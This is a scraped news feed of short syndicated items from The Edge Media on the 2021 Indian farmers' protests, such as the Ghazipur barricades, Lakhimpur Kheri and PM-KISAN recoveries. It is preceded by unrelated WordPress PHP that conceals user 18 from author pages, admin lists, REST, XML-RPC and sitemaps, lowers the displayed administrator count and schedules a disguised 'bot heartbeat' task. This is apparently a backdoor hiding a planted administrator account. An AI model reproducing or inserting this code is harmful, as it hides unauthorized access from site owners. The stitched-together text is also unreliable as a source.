add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Police dismantle barricades from the Ghazipur farmers’ protest site following a Supreme Court decision appeared first on The Edge Media.
]]>
Last year, multiple levels of iron and cement barricades, as well as at least five layers of concertina wires, were erected, and they were reinforced after the violence on January 26 this year, when farmers protested three problematic farm laws.
On Friday, Deputy Commissioner of Police (east) Priyanka Kashyap said: “The process of removing barricades on NH-9 has been started. The temporarily barricading is being removed to ease out vehicular movement. However, the National Highway 24 was already opened for the traffic.”
The post Police dismantle barricades from the Ghazipur farmers’ protest site following a Supreme Court decision appeared first on The Edge Media.
]]>The post Farmers claim they were hit by a BJP MP’s convoy during a protest in Haryana, and one person was injured appeared first on The Edge Media.
]]>
The farmer who was injured was taken to a government hospital in Naraingarh, near Ambala, where the accident occurred. After being treated, he was freed and informed reporters that he was standing by the side of the road when he was knocked over by the vehicle that followed the MP.
Farmers have demanded that an FIR be made against the driver of the car, and have threatened to gherao, or surround, the police station on October 10 if this is not done.
The post Farmers claim they were hit by a BJP MP’s convoy during a protest in Haryana, and one person was injured appeared first on The Edge Media.
]]>The post Priyanka Gandhi tweets a video of an SUV ploughing over farmers in Lakhimpur and asks Prime Minister Narendra Modi, “Have you seen this?” appeared first on The Edge Media.
]]>
Posing questions to the prime minister, Gandhi who was detained on Monday asked: “Have you seen this video? (She held a mobile phone showing a jeep running over a group of farmers, which Gandhi claimed is from Lakhimpur Kheri) Why hasn’t this man been arrested? Leaders like us who want to visit Lakhimpur Kheri have been put under custody without any FIR, I want to know why this man is free?”
The post Priyanka Gandhi tweets a video of an SUV ploughing over farmers in Lakhimpur and asks Prime Minister Narendra Modi, “Have you seen this?” appeared first on The Edge Media.
]]>The post BJP MP Varun Gandhi describes farmers as “our own flesh and blood” appeared first on The Edge Media.
]]>A large number of farmers are attending a mahapanchayat organised by the Samyukt Kisan Morcha (SKM) at the Government Inter College ground in Muzaffarnagar in Uttar Pradesh
“Lakhs of farmers have gathered in protest today in Muzaffarnagar. They are our own flesh and blood. We need to start re-engaging with them in a respectful manner: understand their pain, their point of view and work with them in reaching common ground,” Mr Gandhi tweeted, posting a short video of the large crowd.
See the tweet here :
The mahapanchyat comes ahead of the crucial Uttar Pradesh assembly polls next year.
The Centre had held talks with the protesting farmer unions but in vain as it did not agree to their demand of withdrawing the three farm laws.
The government has insisted that these Acts have given farmers new opportunity to sell their produce and rejected the criticism that they are aimed at doing away with the minimum support price regime and farm mandis.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post BJP MP Varun Gandhi describes farmers as “our own flesh and blood” appeared first on The Edge Media.
]]>The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>“The manner in which farmers were attacked in Karnal of Haryana is condemnable. With such brutal actions, an atmosphere is being created to instigate farmers across the country,” Mr Gehlot tweeted.
Around 10 people were injured on Saturday as police allegedly lathi-charged a group of farmers disrupting traffic movement on a national highway while heading towards Karnal to protest against a BJP meeting.
Mr Gehlot said Haryana Chief Minister ML Khattar and Deputy Chief Minister Dushyant Chautala are giving statements that do not make any sense.
He said the Haryana government officials are giving instructions for violent actions against farmers and the entire country is condemning the police lathi-charge at farmers but the Haryana government is taking no action against such officers.
“The Modi government should not test the farmers’ patience and immediately repeal the agricultural laws and apologise to the farmers,” Mr Gehlot said.
Enacted in September last year, the three farm laws have been projected by the Centre as major reforms in the agriculture sector that will remove the middlemen and allow farmers to sell their products anywhere in the country.
The protesting farmers, however, have expressed fears that the legislation would pave the way for eliminating the safety cushion of Minimum Support Price and do away with the mandi system, leaving them at the mercy of big corporates.
The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>The post In Haryana, Police Used Lathicharge on Farmers Who Were Protesting appeared first on The Edge Media.
]]>Following police action that resulted in the injuries of numerous farmers, the farmers gathered in huge numbers on several toll plazas throughout the state. Surajpur Toll Plaza has been blocked by protesting farmers, according to the Panchkula Commissionerate. The state police were heavily chastised for their actions against the farmers, and many roads were blocked in protest at various locations.
The post In Haryana, Police Used Lathicharge on Farmers Who Were Protesting appeared first on The Edge Media.
]]>The post Punjab Farmers End Protest After Chief Minister Hikes Cane Prices appeared first on The Edge Media.
]]>Under the farmers’ agitation, which entered its fifth day on Tuesday, the protesters had blocked a national highway and Ludhiana-Amritsar and Ludhiana-Jammu rail tracks in Jalandhar.
“Happy to share that after consultation with farmers, have approved SAP (state advised price) for sugarcane at ₹ 360 per quintal. My government is committed to the welfare of our farmers. Jai Kisan, Jai Jawan!” Mr Singh said in a tweetAfter a meeting with the chief minister, farmer leader Manjit Singh Rai told reporters that their pending arrears will be paid in 15 days.
The post Punjab Farmers End Protest After Chief Minister Hikes Cane Prices appeared first on The Edge Media.
]]>The post Farmers know how to teach a lesson to people who ignore them : Rakesh Tikait appeared first on The Edge Media.
]]>“The Kisan Parliament has awakened the deaf and dumb government. The farmer also knows how to run Parliament and teach a lesson to those who neglect him in the village. Nobody should forget that,” Tikait, the spokesperson of Bharatiya Kisan Union (BKU), said in a tweet.

He also called on the farmers to be united “to save the soul and freedom of India”.
Tikait’s comments came on the third day of farmers’ protest near Parliament where monsoon session is being held. The sit-in, which the protesters call ‘Kisan Sansad’ began at Jantar Mantar on Thursday amid heavy security.
The post Farmers know how to teach a lesson to people who ignore them : Rakesh Tikait appeared first on The Edge Media.
]]>The post Delhi government allows farmers to hold Kisan Sansad at Jantar Mantar appeared first on The Edge Media.
]]>

Police threw a ring of security around central Delhi and kept a tight vigil on the movement of vehicles.
The Delhi government and police on Wednesday agreed to allow farmers to hold the Kisan Sansad at Jantar Mantar from today till August 9 between 11 am and 5 pm.
The protesters have been asked to give an undertaking that all Covid norms would be followed and the protest would be peaceful, PTI reported.
This is the first time since the violence in the national capital during a tractor rally on January 26 that the authorities have given permission to protesting farmer unions to hold a protest in the city.
The post Delhi government allows farmers to hold Kisan Sansad at Jantar Mantar appeared first on The Edge Media.
]]>The post Rs.3000 Cr Transferred to 42 lakh Ineligible under PM-KISAN Scheme, centre now recovering money . appeared first on The Edge Media.
]]>Under the PM-KISAN scheme, the Centre transfers Rs 6,000 each year to farmers across the country in three equal instalments. The scheme however has an eligibility criteria like the farmer should not be an income tax payee. In an answer to the Parliament on Tuesday, Agriculture Minister Narendra Singh Tomar has admitted that Rs 2,992 crore is to be recovered from 42.16 lakh ineligible farmers who got money under the PM-KISAN scheme.
The maximum number of such ineligible farmers who got PM-KISAN money were in Assam (8.35 lakh) followed by Tamil Nadu (7.22 lakh), Punjab (5.62 lakh), Maharashtra (4.45 lakh), Uttar Pradesh (2.65 lakh) and Gujarat (2.36 lakh). The money to be recovered is to the tune of Rs 554 Cr in Assam, Rs 437 Cr in Punjab, Rs 358 Cr in Maharashtra, Rs 340 Cr in Tamil Nadu, Rs 258 Cr in UP and Rs 220 Cr in Gujarat, as per the reply in Parliament.
The post Rs.3000 Cr Transferred to 42 lakh Ineligible under PM-KISAN Scheme, centre now recovering money . appeared first on The Edge Media.
]]>